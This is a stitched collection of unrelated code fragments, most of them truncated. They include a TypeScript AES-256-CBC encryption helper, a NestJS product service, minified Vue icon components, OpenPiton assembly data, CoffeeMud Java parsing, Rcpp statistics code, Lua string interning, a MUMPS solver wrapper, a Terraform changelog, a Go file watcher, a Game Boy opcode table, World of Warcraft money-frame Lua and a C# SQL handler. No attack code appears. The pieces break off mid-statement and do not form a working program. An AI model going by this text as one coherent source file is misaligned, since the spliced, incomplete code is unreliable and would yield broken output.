import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';

const IV_LENGTH = 16; /** For AES, this is always 16 */

function validateInputs(text: string, secret: string) {
  if ('string' !== typeof(text)) {
    throw new TypeError(`Expected 'text' to be a string, but received '${text}'`);
  } else if ('string' !== typeof(secret)) {
    throw new TypeError(`Expected 'secret' to be a string, but received '${secret}'`);
  } else if (text.length < 1) {
    throw new Error(`'text' must not be an empty string`);
  } else if (secret.length !== 32) {
    throw new RangeError(`Invalid length of 'secret'. Must be 256 bytes or 32 characters long`);
  }
}

export function encryptSync(text: string, secret: string): string {
  validateInputs(text, secret);

  const iv = randomBytes(IV_LENGTH);
  const cipher = createCipheriv('aes-256-cbc', Buffer.from(secret), iv);
  const cipherInitial = cipher.update(Buffer.from(text));
  const encrypted = Buffer.concat([cipherInitial, cipher.final()]);

  return `${iv.toString('hex')}:${encrypted.toString('hex')}`;
}

export function decryptSync(text: string, secret: string): string {
  validateInputs(text, secret);

  const [iv, encrypted] = text.split(':');
  const decipher = createDecipheriv(
    'aes-256-cbc',
    Buffer.from(secret),
    Buffer.from(iv, 'hex')
  );
  const decipherInitial = decipher.update(Buffer.from(encrypted, 'hex'));
  const decrypted = Buffer.concat([decipherInitial, decipher.final()]);

  return decrypted.toString();
}

export async function encrypt(text: string, secret: string): Promise<string> {
  return encryptSync(text, secret);
}

export async function decrypt(text: string, secret: string): Promise<string> {
  return decryptSync(text, secret);
}
import { Injectable, NotFoundException } from '@nestjs/common';
import { Product } from 'src/entities/product';
import { CreateProductDto, UpdateProductDto } from '../../dtos/products.dto';
@Injectable()
export class ProductsService {
  private counterId = 3;
  //creamos un array de objetos
  private products: Product[] = [
    {
      id: 1,
      name: 'Product 1',
      description: 'Producto 1 de origen Chino',
      price: 50,
      stock: 10,
      image: '',
    },
    {
      id: 2,
      name: 'Product 2',
      description: 'Producto 2 de origen EEUU',
      price: 500,
      stock: 20,
      image: '',
    },
    {
      id: 3,
      name: 'Product 3',
      description: 'Producto 1 de origen British',
      price


a32 32 0 0 1 0 45.312h-.128a32 32 0 0 1-45.184 0L640 218.496V928a32 32 0 1 1-64 0V141.248z"})]))}}),pM=fM,dM=h({name:"Stamp",__name:"stamp",setup(e){return(t,r)=>(_(),v("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[p("path",{fill:"currentColor",d:"M624 475.968V640h144a128 128 0 0 1 128 128H128a128 128 0 0 1 128-128h144V475.968a192 192 0 1 1 224 0M128 896v-64h768v64z"})]))}}),_M=dM,hM=h({name:"StarFilled",__name:"star-filled",setup(e){return(t,r)=>(_(),v("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[p("path",{fill:"currentColor",d:"M283.84 867.84 512 747.776l228.16 119.936a6.4 6.4 0 0 0 9.28-6.72l-43.52-254.08 184.512-179.904a6.4 6.4 0 0 0-3.52-10.88l-255.104-37.12L517.76 147.904a6.4 6.4 0 0 0-11.52 0L392.192 379.072l-255.104 37.12a6.4 6.4 0 0 0-3.52 10.88L318.08 606.976l-43.584 254.08a6.4 6.4 0 0 0 9.28 6.72z"})]))}}),vM=hM,mM=h({name:"Star",__name:"star",setup(e){return(t,r)=>(_(),v("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[p("path",{fill:"currentColor",d:"m512 747.84 228.16 119.936a6.4 6.4 0 0 0 9.28-6.72l-43.52-254.08 184.512-179.904a6.4 6.4 0 0 0-3.52-10.88l-255.104-37.12L517.76 147.904a6.4 6.4 0 0 0-11.52 0L392.192 379.072l-255.104 37.12a6.4 6.4 0 0 0-3.52 10.88L318.08 606.976l-43.584 254.08a6.4 6.4 0 0 0 9.28 6.72zM313.6 924.48a70.4 70.4 0 0 1-102.144-74.24l37.888-220.928L88.96 472.96A70.4 70.4 0 0 1 128 352.896l221.76-32.256 99.2-200.96a70.4 70.4 0 0 1 126.208 0l99.2 200.96 221.824 32.256a70.4 70.4 0 0 1 39.04 120.064L774.72 629.376l37.888 220.928a70.4 70.4 0 0 1-102.144 74.24L512 820.096l-198.4 104.32z"})]))}}),gM=mM,wM=h({name:"Stopwatch",__name:"stopwatch",setup(e){return(t,r)=>(_(),v("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[p("path",{fill:"currentColor",d:"M512 896a384 384 0 1 0 0-768 384 384 0 0 0 0 768m0 64a448 448 0 1 1 0-896 448 448 0 0 1 0 896"}),p("path",{fill:"currentColor",d:"M672 234.88c-39.168 174.464-80 298.624-122.688 372.48-64 110.848-202.624 30.


0x0

    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0

SECTION .DATA_CORE5_0 DATA_VA=0xa8214000
attr_data {
    Name = .DATA_CORE5_0,
    VA = 0xa8214000,
    PA = ra2pa(0xa8214000,0),
    RA = 0xa8214000,
    part_0_d_ctx_nonzero_ps0_tsb,
    TTE_G=1, TTE_Context=PCONTEXT, TTE_V=1, TTE_Size=0, TTE_NFO=0,
    TTE_IE=0, TTE_Soft2=0, TTE_Diag=0, TTE_Soft=0,
    TTE_L=0, TTE_CP=1, TTE_CV=1, TTE_E=0, TTE_P=0, TTE_W=1
}

.data

    .global data_core_5
data_core_5:
    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0

    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0

    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0

    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0

SECTION .DATA_CORE5_1 DATA_VA=0xa8216000
attr_data {
    Name = .DATA_CORE5_1,
    VA = 0xa8216000,
    PA = ra2pa(0xa8216000,0),
    RA = 0xa8216000,
    part_0_d_ctx_nonzero_ps0_tsb,
    TTE_G=1, TTE_Context=PCONTEXT, TTE_V=1, TTE_Size=0, TTE_NFO=0,
    TTE_IE=0, TTE_Soft2=0, TTE_Diag=0, TTE_Soft=0,
    TTE_L=0, TTE_CP=1, TTE_CV=1, TTE_E=0, TTE_P=0, TTE_W=1
}

.data

    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0

    .align  PITON_L1D_WAY_SIZE
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0
    .xword 0x0


inal String parmVal;
								if(x>1)
								{
									parmVal=rawParm.substring(x+1);
									rawParm=rawParm.substring(0,x);
								}
								else
									parmVal="";
								if(rawParm.startsWith("*"))
									parms.add(new Triad<Character,String,String>(Character.valueOf('s'),rawParm.substring(1).toUpperCase(),parmVal));
								else
								if(rawParm.endsWith("*"))
									parms.add(new Triad<Character,String,String>(Character.valueOf('e'),rawParm.substring(0,rawParm.length()-1).toUpperCase(),parmVal));
								else
									parms.add(new Triad<Character,String,String>(Character.valueOf(' '),rawParm.toUpperCase(),parmVal));
							}
							v=V.size();
						}
						buf.add(new CompiledZapperMaskEntryImpl(entryType,parms.toArray(new Object[0])));
					}
					break;
				case AREA: // +Area
				case PARENTAREA: // +parentarea
					buildRoomFlag=true;
				//$FALL-THROUGH$
				case TATTOO: // +Tattoos
				case TAG: // +Tag
				case MOOD: // +Mood
				case ACCCHIEVE: // +Accchieves
				case EXPERTISE: // +expertise
				case DEITY: // +Deity
				case NAME: // +Names
				case ACCOUNT: // +Account
				case QUESTWIN: // +Questwin
				case HOME: // +Home
				case PLANE: // +Plane
				case JAVACLASS: // +JavaClass
					{
						final ArrayList<Object> parms=new ArrayList<Object>();
						for(int v2=v+1;v2<V.size();v2++)
						{
							final String str2=V.get(v2);
							if(zapCodes.containsKey(str2))
							{
								v=v2-1;
								break;
							}
							else
							if(str2.startsWith("-"))
								parms.add(str2.substring(1));
							v=V.size();
						}
						buf.add(new CompiledZapperMaskEntryImpl(entryType,parms.toArray(new Object[0])));
					}
					break;
				case _SKILL: // +skills
				case SKILL: // -skills
					{
						final ArrayList<Object> parms=new ArrayList<Object>();
						for(int v2=v+1;v2<V.size();v2++)
						{
							String str2=V.get(v2);
							if(zapCodes.containsKey(str2))
							{
								v=v2-1;
								break;
							}
							else
							if((str2.startsWith("-"))||(str2.startsWith("+")))
							{
								str2=str2.substring(1);
								int prof=0;
								final int x=str2.indexOf('(');
								if(x>0)
								{
									if(str2.endsWith(")"))
										prof=CMath.s_int(str2.substring(x+1,str2.length()-1));
									str2=str2.substring(0,x);
								}
								final Ability A=CMClass.getAbility(str2);
								if(A!=null)
								{
									parms.add(A.ID());
									parms.add(Integer.valueOf(prof));
								}
							}
							v=V.size();
						}
						buf.add(new CompiledZapperMaskEntryImpl(entryType,parms.toArray(new Object[0])));
					}
					break;
				case _SKILLFLAG: // -skillflag
				case SKILLFLAG: // +skillflag
					{
						final ArrayList<Object> parms=new ArrayList<Object>();
						for(


sparse_dense_mm, "sparse_dense_mm (CUDA)");
  m.def("reduce_sum", &reduce_sum, "reduce_sum (CUDA)");
  m.def("scatter", &scatter, "scatter (CUDA)");
}
// -*- mode: C++; c-indent-level: 4; c-basic-offset: 4; indent-tabs-mode: nil; -*-

// we only include RcppArmadillo.h which pulls Rcpp.h in for us
#include <RcppArmadillo.h>
#include <math.h>
#include "02_algebragelpers_kronecker.h"
#include "02_algebrahelpers_RcppHelpers.h"
#include "03_modelformation_formModelMatrices_cpp.h"
#include "03_modelformation_impliedcovstructures.h"

// [[Rcpp::depends(RcppArmadillo)]]
using namespace Rcpp;
using namespace arma;

// [[Rcpp::export]]
Rcpp::List implied_varcov_cpp(
    const S4& model,
    bool all = false
){
  S4 sample = model.slot("sample");
  Rcpp::List means = sample.slot("means");

  // Form basic model matrices:
  Rcpp::List x = formModelMatrices_cpp(model);

  // Add implied cov structure:
  Rcpp::List types = model.slot("types");
  std::string type = types["y"];
  x = impliedcovstructures_cpp(x, "", type, all);

  int nGroup = x.length();
  int g;

  for (g=0; g<nGroup; g++){
    bool proper = true;

    Rcpp::List grouplist = x[g];

    // If mu is not there, obtain from the sample means:
    if (!grouplist.containsElementNamed("mu")){
      arma::vec groupmean = means[g];
      grouplist["mu"] = groupmean;
    }

    // Check kappa:
    if (!grouplist.containsElementNamed("kappa")){
      arma::mat sigma = grouplist["sigma"];
      arma::mat kappa = solve_symmetric_cpp_matrixonly_withcheck(sigma, proper);
      grouplist["kappa"] = kappa;
    }

    // Return properness:
    grouplist["proper"] = proper;

    x[g] = grouplist;
  }

  return(x);
}
// -*- mode: C++; c-indent-level: 4; c-basic-offset: 4; indent-tabs-mode: nil; -*-

// we only include RcppArmadillo.h which pulls Rcpp.h in for us
#include <RcppArmadillo.h>
#include <math.h>
#include "04_generalFit_implied_and_prepare.h"
#include "04_generalfit_fitfunction_cpp.h"
#include "04_generalFit_gradient_cpp.h"
#include "b_modelexpansion_updateModel_cpp.h"
#include "02_algebrahelpers_modelMatrix_cpp.h"
#include "roptim.h"

// [[Rcpp::depends(RcppArmadillo)]]
using namespace Rcpp;
using namespace arma;
using namespace roptim;

class psychonetrics_optim : public Functor {
public:
  psychonetrics_optim(const S4& model) : model_(model) {
    os.sann_use_custom_function_ = true;
  }

  double operator()(const arma::vec &x) override {

    double res = psychonetrics_fitfunction_cpp(x, model_);

    return res;
  }

  void Gradient(const arma::vec &x, arma::vec &gr) override {
    return psy


_constructor_3_01_parameters_00_01_constructed___07_a0_00_01_a1_33d04812c39602e38d4b71c685f63435.html">sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >, including all inherited members.

apply(Passed passed) (defined in sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >)	sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >	 [inline]

ApplyConstructor() (defined in sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >)	sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >	 [inline]

arity() (defined in sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >)	sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >	 [inline, static]

Constructed typedef (defined in sauce::internal::ApplyConstructor< Parameters, Constructed_(A0, A1, A2), Allocator_ >)	<a class="el" href="classsauce_1_1internal_1_1_appl


 (ts = *list; ts != NULL; ts = ts->u.hnext) {
    if (l == ts->shrlen &&
        (memcmp(str, getstr(ts), l * sizeof(char)) == 0)) {
      /* found! */
      if (isdead(g, ts))  /* dead (but not collected yet)? */
        changewhite(ts);  /* resurrect it */
      return ts;
    }
  }
  if (g->strt.nuse >= g->strt.size && g->strt.size <= MAX_INT/2) {
    luaS_resize(L, g->strt.size * 2);
    list = &g->strt.hash[lmod(h, g->strt.size)];  /* recompute with new size */
  }
  ts = createstrobj(L, l, LUA_TSHRSTR, h);
  memcpy(getstr(ts), str, l * sizeof(char));
  ts->shrlen = cast_byte(l);
  ts->u.hnext = *list;
  *list = ts;
  g->strt.nuse++;
  return ts;
}

/*
** new string (with explicit length)
*/
TString *luaS_newlstr (lua_State *L, const char *str, size_t l) {
  if (l <= LUAI_MAXSHORTLEN)  /* short string? */
    return internshrstr(L, str, l);
  else {
    TString *ts;
    if (l >= (MAX_SIZE - sizeof(TString))/sizeof(char))
      luaM_toobig(L);
    ts = luaS_createlngstrobj(L, l);
    memcpy(getstr(ts), str, l * sizeof(char));
    return ts;
  }
}

/*
** Create or reuse a zero-terminated string, first checking in the
** cache (using the string address as a key). The cache can contain
** only zero-terminated strings, so it is safe to use 'strcmp' to
** check hits.
*/
TString *luaS_new (lua_State *L, const char *str) {
  unsigned int i = point2uint(str) % STRCACHE_N;  /* hash */
  int j;
  TString **p = G(L)->strcache[i];
  for (j = 0; j < STRCACHE_M; j++) {
    if (strcmp(str, getstr(p[j])) == 0)  /* hit? */
      return p[j];  /* that is it */
  }
  /* normal route */
  for (j = STRCACHE_M - 1; j > 0; j--)
    p[j] = p[j - 1];  /* move out last element */
  /* new element is first in the list */
  p[0] = luaS_newlstr(L, str, strlen(str));
  return p[0];
}

Udata *luaS_newudata (lua_State *L, size_t s) {
  Udata *u;
  GCObject *o;
  if (s > MAX_SIZE - sizeof(Udata))
    luaM_toobig(L);
  o = luaC_newobj(L, LUA_TUSERDATA, sizeludata(s));
  u = gco2u(o);
  u->len = s;
  u->metatable = NULL;
  setuservalue(L, u, luaO_nilobject);
  return u;
}


l[21-1] = 0;
	theMumpsStruc.icntl[30-1] = 0;
	/*}}}*/
}

// must be preceded by a call to MumpsInit
void MumpsAnalyze(DMUMPS_STRUC_C &theMumpsStruc) {
	theMumpsStruc.job          = 1;
	dmumps_c(&theMumpsStruc);
}

// must be preceded by a call to MumpsAnalyze
void MumpsFactorize(DMUMPS_STRUC_C &theMumpsStruc) {
	theMumpsStruc.job          = 2;
	dmumps_c(&theMumpsStruc);
}

// must be preceded by a call to MumpsFactorize
void MumpsBacksubstitute(DMUMPS_STRUC_C &theMumpsStruc) {
	theMumpsStruc.job          = 3;
	dmumps_c(&theMumpsStruc);
}

// must be preceded at least  by a call to MumpsInit
void MumpsFinalize(DMUMPS_STRUC_C &theMumpsStruc) {
	theMumpsStruc.job          = -2;
	dmumps_c(&theMumpsStruc);
}

void MumpsSolve(int n,int nnz,int local_nnz,int* irn_loc,int* jcn_loc, IssmPDouble *a_loc, IssmPDouble *rhs, Parameters* parameters=0 /*unused here*/){
	/*Initialize mumps*/
	DMUMPS_STRUC_C theMumpsStruc;
	MumpsInit(theMumpsStruc);
	MumpsSettings(theMumpsStruc);

	/*now setup the rest of theMumpsStruc */
	theMumpsStruc.n=n;
	theMumpsStruc.nz=nnz;
	theMumpsStruc.nz_loc=local_nnz;
	theMumpsStruc.irn_loc=irn_loc;
	theMumpsStruc.jcn_loc=jcn_loc;
	theMumpsStruc.a_loc=a_loc;
	theMumpsStruc.rhs=rhs;
	theMumpsStruc.nrhs=1;
	theMumpsStruc.lrhs=1;

	/*Solve system*/
	MumpsAnalyze(theMumpsStruc);
	MumpsFactorize(theMumpsStruc);
	MumpsBacksubstitute(theMumpsStruc);
	MumpsFinalize(theMumpsStruc);
}

#ifdef _HAVE_AD_
// prototype for active variant
void MumpsSolve(int n,
		int nnz,
		int local_nnz,
		int* irn_loc,
		int* jcn_loc,
		IssmDouble *a_loc,
		IssmDouble *rhs,
		Parameters* parameters);
#endif

#ifdef _HAVE_MPI_
void MpiDenseMumpsSolve( /*output: */ IssmDouble* uf, int uf_M, int uf_m, /*matrix input: */ IssmDouble* Kff, int Kff_M, int Kff_N, int Kff_m, /*right hand side vector: */ IssmDouble* pf, int pf_M, int pf_m, Parameters* parameters){ /*{{{*/

	/*Variables*/
	ISSM_MPI_Comm  comm;
	int            num_procs;
	int            i,j;
	int            nnz,local_nnz;
	int           *irn_loc    = NULL;
	int           *jcn_loc    = NULL;
	IssmDouble    *a_loc      = NULL;
	int            count;
	int            lower_row;
	int            upper_row;
	IssmDouble    *rhs        = NULL;
	int           *recvcounts = NULL;
	int           *displs     = NULL;

	/*Communicator info */
	num_procs = IssmComm::GetSize();
	comm      = IssmComm::GetComm();

	/*First, some checks*/
	if (Kff_M!=Kff_N)_error_("stiffness matrix Kff should be square");
	if (uf_M!=Kff_M || uf_M!=pf_M)_error_("solution vector should be the same


com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2057))

### Features

* **beta-autopilot:** enable gcfs by default ([#2066](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2066)) ([a083437](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/a083437ddf00197fa13ecc27c6f2845d849d6306))
* **deps:** Update Terraform Google Provider to v6 (major) ([#2063](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2063)) ([8b7e342](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/8b7e342e37f0750c1b2de32730c3bd466a1a4ec8))
* **private_cluster:** enable private nodes by default ([#2064](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2064)) ([e11787c](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/e11787c83169c93fe6de3f774cf310ee05287659))
* support reservation affinity ([#2010](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2010)) ([7cc0626](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/7cc06267bb8654194eb0031772b0345863030457))

### Bug Fixes

* avoid TPGv5.44.0 with Autopilot ([#2076](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2076)) ([f54d2e1](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/f54d2e1d4c04727f1ba01df50c7db434af1ae440))
* **deps:** Update Terraform terraform-google-modules/project-factory/google to v16 ([#2057](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2057)) ([8e53122](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/8e53122ccc78e9301c5c9041d195b0c0e3754b26))
* Node Pool enable_gcfs true:false ([#1976](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/1976)) ([419078d](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/419078df92a84d2102d0a8e6fe38513ca3b380a7))
* **TPG>=5.41:** add config_sync.enabled ([#2074](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2074)) ([4939c6f](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/4939c6f727783f07ffcb6e44cbe185d5e200e42f))
* update relay_mode to enable_relay ([#2067](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/issues/2067)) ([dafdd72](https://github.com/terraform-google-modules/terraform-google-kubernetes-engine/commit/dafdd72cdb5df98f84561ed7153a098


 := j.file.Seek(offset, whence)
	if err != nil {
		logger.Infof("file seek error hint=%s, name=%s, err=%s", hint, j.filename, err.Error())
	}
	j.curOffset = n

	return n
}

type inodeID uint64

type symlinkInfo struct {
	filename string
	inode    inodeID
}

type metricCollection struct {
	possibleOffsetCorruptionMetric prometheus.Counter
	errorOpenFileMetric            prometheus.Counter
	notifyChannelLengthMetric      prometheus.Gauge
	numberOfCurrentJobsMetric      prometheus.Gauge
}

func newMetricCollection(
	possibleOffsetCorruptionMetric, errorOpenFileMetric prometheus.Counter,
	notifyChannelLengthMetric prometheus.Gauge, numberOfCurrentJobsMetric prometheus.Gauge,
) *metricCollection {
	return &metricCollection{
		possibleOffsetCorruptionMetric: possibleOffsetCorruptionMetric,
		errorOpenFileMetric:            errorOpenFileMetric,
		notifyChannelLengthMetric:      notifyChannelLengthMetric,
		numberOfCurrentJobsMetric:      numberOfCurrentJobsMetric,
	}
}

func NewJobProvider(config *Config, metrics *metricCollection, sugLogger *zap.SugaredLogger) *jobProvider {
	jp := &jobProvider{
		config:   config,
		offsetDB: newOffsetDB(config.OffsetsFile, config.OffsetsFileTmp),

		jobs:     make(map[pipeline.SourceID]*Job, config.MaxFiles),
		jobsDone: atomic.NewInt32(0),
		jobsMu:   &sync.RWMutex{},
		jobsChan: make(chan *Job, config.MaxFiles),
		jobsLog:  make([]string, 0, 16),

		symlinks:   make(map[inodeID]string),
		symlinksMu: &sync.Mutex{},

		offsetsCommitted: &atomic.Int64{},

		stopSaveOffsetsCh: make(chan bool, 1), // non-zero channel cause we don't wanna wait goroutine to stop
		stopReportCh:      make(chan bool, 1), // non-zero channel cause we don't wanna wait goroutine to stop
		stopMaintenanceCh: make(chan bool, 1), // non-zero channel cause we don't wanna wait goroutine to stop

		logger:                         sugLogger,
		possibleOffsetCorruptionMetric: metrics.possibleOffsetCorruptionMetric,
		errorOpenFileMetric:            metrics.errorOpenFileMetric,
		numberOfCurrentJobsMetric:      metrics.numberOfCurrentJobsMetric,
	}

	if len(config.Paths.Include) == 0 {
		currentDir, err := os.Getwd()
		if err != nil {
			jp.logger.Errorf("cannot get current dir: %s", err.Error())
			return nil
		}

		watchDir := config.WatchingDir
		if !filepath.IsAbs(watchDir) {
			if watchDir == "*" {
				watchDir = filepath.Join(currentDir, "")
			} else {
				watchDir = filepath.Join(currentDir, watchDir)
			}
		}

		if config.DirPattern == "*" {
			config.Paths.Include = append(
				config.Paths.Include,
				filepath.Join(watchDir, "**", config.FilenamePattern),
			)
		} else {
			config.Paths.Include = append(
				config.Paths.Include,
				filepath.Join(watchDir, config.DirPattern, config.FilenamePattern),
			)
		}
	}

	jp.watcher = NewWatcher(
		config.WatchingDir,
		config.Paths,
		jp.processNotification,
		config.ShouldWatchChanges,
		metrics.notifyChannelLengthMetric,
		sugLogger,
	)

	return jp
}

func (jp *jobProvider) start() {
	jp.logger.Infof("starting job provider persistence mode=%s", jp.config.PersistenceMode)
	if jp.config.OffsetsOp_


 16),   // [SWAP (HL)] [2  16] [Z 0 0 0]
        0x37 => p.swap8(R8::A).r(2, 8),          // [SWAP A] [2  8] [Z 0 0 0]
        0x38 => p.srl8(R8::B).r(2, 8),           // [SRL B] [2  8] [Z 0 0 C]
        0x39 => p.srl8(R8::C).r(2, 8),           // [SRL C] [2  8] [Z 0 0 C]
        0x3A => p.srl8(R8::D).r(2, 8),           // [SRL D] [2  8] [Z 0 0 C]
        0x3B => p.srl8(R8::E).r(2, 8),           // [SRL E] [2  8] [Z 0 0 C]
        0x3C => p.srl8(R8::H).r(2, 8),           // [SRL H] [2  8] [Z 0 0 C]
        0x3D => p.srl8(R8::L).r(2, 8),           // [SRL L] [2  8] [Z 0 0 C]
        0x3E => p.srl8(Address::HL).r(2, 16),    // [SRL (HL)] [2  16] [Z 0 0 C]
        0x3F => p.srl8(R8::A).r(2, 8),           // [SRL A] [2  8] [Z 0 0 C]
        0x40 => p.bit8(0, R8::B).r(2, 8),        // [BIT 0,B] [2  8] [Z 0 1 -]
        0x41 => p.bit8(0, R8::C).r(2, 8),        // [BIT 0,C] [2  8] [Z 0 1 -]
        0x42 => p.bit8(0, R8::D).r(2, 8),        // [BIT 0,D] [2  8] [Z 0 1 -]
        0x43 => p.bit8(0, R8::E).r(2, 8),        // [BIT 0,E] [2  8] [Z 0 1 -]
        0x44 => p.bit8(0, R8::H).r(2, 8),        // [BIT 0,H] [2  8] [Z 0 1 -]
        0x45 => p.bit8(0, R8::L).r(2, 8),        // [BIT 0,L] [2  8] [Z 0 1 -]
        0x46 => p.bit8(0, Address::HL).r(2, 12), // [BIT 0,(HL)] [2  12] [Z 0 1 -]
        0x47 => p.bit8(0, R8::A).r(2, 8),        // [BIT 0,A] [2  8] [Z 0 1 -]
        0x48 => p.bit8(1, R8::B).r(2, 8),        // [BIT 1,B] [2  8] [Z 0 1 -]
        0x49 => p.bit8(1, R8::C).r(2, 8),        // [BIT 1,C] [2  8] [Z 0 1 -]
        0x4A => p.bit8(1, R8::D).r(2, 8),        // [BIT 1,D] [2  8] [Z 0 1 -]
        0x4B => p.bit8(1, R8::E).r(2, 8),        // [BIT 1,E] [2  8] [Z 0 1 -]
        0x4C => p.bit8(1, R8::H).r(2, 8),        // [BIT 1,H] [2  8] [Z 0 1 -]
        0x4D => p.bit8(1, R8::L).r(2, 8),        // [BIT 1,L] [2  8] [Z 0 1 -]
        0x4E => p.bit8(1,


local _, addonTable = ...

local COPPER_PER_SILVER = 100;
local SILVER_PER_GOLD = 100;
local COPPER_PER_GOLD = COPPER_PER_SILVER * SILVER_PER_GOLD;

MONEY_ICON_WIDTH = 19;
MONEY_ICON_WIDTH_SMALL = 13;

MONEY_BUTTON_SPACING = -4;
MONEY_BUTTON_SPACING_SMALL = -4;

MONEY_TEXT_VADJUST = 0;

COIN_BUTTON_WIDTH = 32;

local MoneyTypeInfo = { };
addonTable.MoneyTypeInfo = MoneyTypeInfo;

function GetMoneyTypeInfoField(moneyType, field)
	return MoneyTypeInfo[moneyType][field];
end

function AddMoneyTypeInfo(moneyType, info)
	if MoneyTypeInfo[moneyType] then
		-- Prevent overwriting existing types
		return;
	end

	MoneyTypeInfo[moneyType] = info;
end

MoneyTypeInfo["PLAYER"] = {
	OnloadFunc = function(self)
		self:RegisterEvent("TRIAL_STATUS_UPDATE");
	end,

	UpdateFunc = function(self)
		return MoneyFrame_UpdateTrialErrorButton(self);
	end,

	PickupFunc = function(self, amount)
		PickupPlayerMoney(amount);
	end,

	DropFunc = function(self)
		DropCursorMoney();
	end,

	collapse = 1,
	canPickup = 1,
	showSmallerCoins = "Backpack"
};
MoneyTypeInfo["ACCOUNT"] = {
	OnloadFunc = function(self)
		self:RegisterEvent("ACCOUNT_MONEY");
	end,

	UpdateFunc = function(self)
		return C_Bank.FetchDepositedMoney(Enum.BankType.Account);
	end,

	collapse = 1,
	showSmallerCoins = "Backpack",
};
MoneyTypeInfo["STATIC"] = {
	UpdateFunc = function(self)
		return self.staticMoney;
	end,

	collapse = 1,
};
MoneyTypeInfo["QUEST_REWARDS"] = {
	UpdateFunc = function(self)
		return self.staticMoney;
	end,

	collapse = 1,
	checkGoldThreshold = 1,
};
MoneyTypeInfo["AUCTION"] = {
	UpdateFunc = function(self)
		return self.staticMoney;
	end,
	showSmallerCoins = "Backpack",
	fixedWidth = 1,
	collapse = 1,
	truncateSmallCoins = nil,
};
MoneyTypeInfo["AUCTION_TOOLTIP"] = {
	UpdateFunc = function(self)
		return self.staticMoney;
	end,
	showSmallerCoins = "Backpack",
	fixedWidth = 1,
	collapse = 1,
	align = 1,
	truncateSmallCoins = nil,
};
local GetPlayerTradeMoney = GetPlayerTradeMoney;
MoneyTypeInfo["PLAYER_TRADE"] = {
	UpdateFunc = function(self)
		return GetPlayerTradeMoney();
	end,

	PickupFunc = function(self, amount)
		C_TradeInfo.PickupTradeMoney(amount);
	end,

	DropFunc = function(self)
		C_TradeInfo.AddTradeMoney();
	end,

	collapse = 1,
	canPickup = 1,
};
local GetTargetTradeMoney = GetTargetTradeMoney;
MoneyTypeInfo["TARGET_TRADE"] = {
	UpdateFunc = function(self)
		return GetTargetTradeMoney();
	end,

	collapse = 1,
};
MoneyTypeInfo["SEND_MAIL"] = {
	UpdateFunc = function(self)
		return GetSendMailMoney();
	end,

	PickupFunc = function(self, amount)
		PickupSendMailMoney(amount);
	end,

	DropFunc = function(self)
		AddSendMailMoney();
	end,

	collapse = nil,
	canPickup = 1,
	showSmallerCoins = "Backpack",
};
Mo


using Chloe.DbExpressions;
using Chloe.RDBMS;
using Chloe.RDBMS.MethodHandlers;

namespace Chloe.MySql.MethodHandlers
{
    class Contains_Handler : Contains_HandlerBase
    {
        protected override void Method_String_Contains(DbMethodCallExpression exp, SqlGeneratorBase generator)
        {
            exp.Object.Accept(generator);

            generator.SqlBuilder.Append(" LIKE ");
            generator.SqlBuilder.Append("CONCAT(");
            generator.SqlBuilder.Append("'%',");
            exp.Arguments.First().Accept(generator);
            generator.SqlBuilder.Append(",'%'");
            generator.SqlBuilder.Append(")");
        }

        /// <summary>
        /// in 子查询
        /// </summary>
        /// <param name="generator"></param>
        /// <param name="sqlQuery"></param>
        /// <param name="operand"></param>
        protected override void In(SqlGeneratorBase generator, DbSqlQueryExpression sqlQ


            equipmentKey.onDown.add(this.ToggleEquipment, this);

            var escapeKey = this.input.keyboard.addKey(Phaser.Keyboard.M);
